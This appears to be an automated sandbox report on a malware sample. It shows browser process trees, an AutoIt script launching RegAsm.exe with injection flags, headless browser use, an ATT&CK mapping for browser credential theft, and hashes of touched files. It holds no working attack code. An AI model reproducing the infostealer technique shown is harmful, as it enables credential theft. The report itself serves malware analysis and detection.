    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4248,i,7301273057774434597,10196683580926567845,2097152 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4160 /prefetch:2
    3⤵
    PID:4224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4512,i,3508279579351249291,845623321288294274,2097152 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4528 /prefetch:1
    3⤵
    PID:3716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5412,i,18363805874559205473,17150670174075967370,524288 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5416 /prefetch:8
    3⤵
    PID:2924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ff8a414c188,0x7ff8a414c194,0x7ff8a414c1a0
    3⤵
    PID:1252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1672,i,13634957131660044798,9484610818317616618,262144 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
    3⤵
    PID:2424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,3759774073944451442,2625529515869047938,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2456,i,4256215552353201278,4114397230124764416,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:8
    3⤵
    PID:212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3420,i,7661377482837120946,12762687741455643064,2097152 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
    3⤵
    PID:3004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3424,i,17873599789109201311,9460665700611093995,2097152 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
    3⤵
    PID:1056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4072,i,16487037635796513524,13644447414526980368,2097152 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=4088 /prefetch:1
    3⤵
    PID:5180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4092,i,7621831946507965591,10922160495479207629,2097152 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:2
    3⤵
    PID:5192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3876,i,6509249377360348539,12276187627671875281,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:8
    3⤵
    PID:5796
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,4374302704973313967,4623487940346970145,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:8
    3⤵
    PID:5300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,4835483038301882292,12715304947133370887,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:8
    3⤵
    PID:5436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,5924468618891322418,15208747210388194009,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:8
    3⤵
    PID:5460
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6352,i,4799602939769547225,6061476259573513291,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:8
    3⤵
    PID:5772
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6352,i,4799602939769547225,6061476259573513291,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:8
    3⤵
    PID:5844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,6586574492934150682,10638962787909585858,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:8
    3⤵
    PID:5044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6752,i,12662114284384680341,9005806878493573214,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:8
    3⤵
    PID:5408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5228,i,15742740357111975988,6881022291844539765,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:8
    3⤵
    PID:5528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5800,i,3451864249136817366,3369437163806198227,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:8
    3⤵
    PID:5816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6776,i,9470781191083378041,9559683346502359560,524288 --field-trial-handle=2252,i,16453084792289487914,15929109707727395118,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:8
    3⤵
    PID:3196
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:5676
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2740 -prefsLen 24447 -prefMapHandle 2744 -prefMapSize 268500 -ipcHandle 2796 -initialChannelId {90657ff7-f0bc-48f4-b9a9-d89deaf95fc5} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:5556
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1816 -prefsLen 24658 -prefMapHandle 1920 -prefMapSize 268500 -jsInitHandle 1924 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1864 -initialChannelId {ce025745-76a6-4bd0-bc62-1455931cced5} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:2124
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3600 -prefsLen 25544 -prefMapHandle 3604 -prefMapSize 268500 -ipcHandle 3624 -initialChannelId {e7f3783d-4e3c-4518-8184-43f9be97eeee} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4580
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4064 -prefsLen 25606 -prefMapHandle 4068 -prefMapSize 268500 -jsInitHandle 4072 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4080 -initialChannelId {5ed990dc-74f7-41c4-a77c-a048a42e5955} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:4216
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 1848 -prefsLen 36488 -prefMapHandle 4304 -prefMapSize 268500 -ipcHandle 1868 -initialChannelId {d0332a88-0585-47ef-9bc5-09b382ed72f8} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:4840
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4928 -prefsLen 34446 -prefMapHandle 4932 -prefMapSize 268500 -jsInitHandle 4936 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4984 -initialChannelId {4905c135-5751-4586-aae7-0ae9db0c9e32} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:3288
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4952 -prefsLen 34446 -prefMapHandle 4956 -prefMapSize 268500 -jsInitHandle 4960 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5000 -initialChannelId {1062c372-f19e-4248-bc4f-9207d9372381} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:3656
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5372 -prefsLen 34446 -prefMapHandle 5376 -prefMapSize 268500 -jsInitHandle 5380 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5408 -initialChannelId {f739e9d9-6a0a-4eac-9d2b-04842e0459c9} -parentPid 5676 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5676" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:5128

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1580

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4724

C:\Users\Admin\AppData\Roaming\f593ea61e834\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\f593ea61e834\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\f593ea61e834\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3544
- C:\Users\Admin\AppData\Roaming\f593ea61e834\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\f593ea61e834\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:5368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 86ccaf778b1b384b6f01a1f51eaf7664edd11e365b78b9bfa2251b6b74b6ac46
MD5 808c5eae491032af2f62fde261402b73
SHA1 9efd6cd4be9e32531cd60a0db6637198cafe562c
SHA512 ccca47f7372080e75efcec46119a7f1fe8aae6fec15abe80da185392b784777c8e52390f72f48f4223931973026ec7767fefc37342273b84833641c551968d8a
TLSH
T127F02DFAC921EC3718FD0B5920A50B4BE75013672A41485F7F3D810D4FB163B468781C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 5b320f313922c8882962ef4ff4a1a7e57803f3fe7104d391592d32dfeefbf1d6
MD5 1edeaf92b2be342a28d80716b0062ef5
SHA1 7f134864274f87f3ed000b7a945ee88f9b173255
SHA512 49afe7d2a70d18f919624b900578c38e342bd7fe1ba4e56e0fbd845fcd14bf65f87ca04373491f15088bea1b57473c2b7b42aa233b24f49c9dc1b40ae77761b5
SSDEEP 192:uRJBZFbOwOjv7+pAPRp289THsb+WNnkV0Lq29XeI1VyIsnAUgtaJ:uRJBGbaUX79wg0+29v8
TLSH
T13C42A62DBD60753B5CEBC229EA617B57D7F5103160942E84EAF8893C15EB5CC721701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 f7e0a7036b9bf87d18941afe0a0039bacd2a6a85b55115963a1d3bb3d3d25ed8
MD5 f5dea701d1a456a3a13710f824722a0b
SHA1 61f3bdb433c2dbd53fdfbd02fb2c0b467fc8f51a
SHA512 57ad41f970191f2aefbe4c358b9171c2932649453a5d90e4b2377a9c358a9d2f45247433f41a6836a315424d66459abb42a476e472641e65c9e0855795e04ac4
SSDEEP 384:nNjzO7KxkXqKf/pUZNCgVLH2HfgslYk7pLuLceSZkXODzq+ErU3yTHG3E5TZ64:nNzO7KxkXqKf/pUZNCgVLH2Hfgsik7p6
TLSH
T17A72F9A7BC4C9E3B4FE4C99CDC167B4FADB5024755E9886442FA582903C5BCB11062FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 263KB
SHA256 7952e51f1bdb3bf8d9a4f248db9ecbff27a2156188fdb765b9a6eb8131d39c32
MD5 998f055107c2461ea1067fefb237780a
SHA1 f8a05480e865afab29e42c11772e673deb6342dc
SHA512 b6262af7b3a9e1724aac267d2682c047b1cec4ad13bfc0a7d8e624a55283c82f72098727b53a599e33992996c6af4fa44e145ffd04cecb588d75356619f602cf
SSDEEP 6144:kMtEVjEfs8LCnlRisuNqchDU3BpT+hFD+7t56OD9ZfSApprb:k3NEUnnPisBiDU3nTyFSXD9ZfS4x
TLSH
T1E34423236F75AC9786AD1450A843A700CF7759E501DF268948836E86F67FD8C0FBB817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 69cd20eb1ab249ab0265200b73163fcd4c7e4e4cac836c8ec4b89f406fea5b51
MD5 50f965d876c8af4f3b1d617567f60d03
SHA1 7895d8d8e7b1919e8d7e5429c8ac773806b6f474
SHA512 72dc094956240acf8101c1daaecf677abfd5ddb579533b0bff413f68822afc6d034d24dda42210fd1590833bc984fb583d25bcacc10cd4029de598373816d6b8
SSDEEP 3072:c+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+g2:c+hFD+7t56OD9ZfSAppr2
TLSH
T1D9D31232AA91D8BB89BC6541F157A304DE726CED81DE3A0944495F8EE09FC4D0773A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 58b461967016818ce2213ba739aa830e079c4747cc98baea5feaffc8b09c915d
MD5 8800a672498272bad98dd79644e30101
SHA1 14a42c33d6271869cc680cadc5ae061e7092e3ae
SHA512 a17f90c73859841f3e0a3211d7f8d1027a7f8ec3a4ef87ddc96b1a39e0b52bc65decb3dd694a7092e22f06f2124864535e2e8632387dd42184abe2d3e22d7e12
TLSH
T135D022F2F32200E8C8C02A3C20030B080208C8000C833220C832C0C23ECCBC0A88F08C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 d84f5c1714ab6c42a16d53802445e092bf35f2efc62c73363dde6bdc6df622a4
MD5 45daede5c8b9535e5d204fc02cb47e88
SHA1 66e19f8fb3529140bcf9a6d6a526f9cfeee429c7
SHA512 0272f68107d9bc4d2fc44da532ef5851d821b330e1e95a5691c0e43d246ef5a924a8975c073fe5f752cc889ae97d021325dcb8cd58da2a7efb2c8b12bce28c10
SSDEEP 192:sxZnRSaj/fesfNDb8IdpmyHW6+WNBrw/YrejZIg4J:sxZnVj/fesfNsoVHbm/tc
TLSH
T1A432D8456E24693B8CC7E259FA257F53E6FD503294851E48F6FC8A1C08F76CE220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 b54921870a43416bed670438a0d3d2c0b5fe5e879eb714943f8d7957c4e666bf
MD5 1e09a2e3f64ee376278612c838472c50
SHA1 6184ce9108baedd25e87beb6be5a530a9aa529b6
SHA512 1159d477ff68ad04ab84429282a66790ad4368963d7bd60304364c5c1f046a678abef4501922c00be9c8bd5bcfe39632b2674879dbe495b0ba03cc523a4e37e4
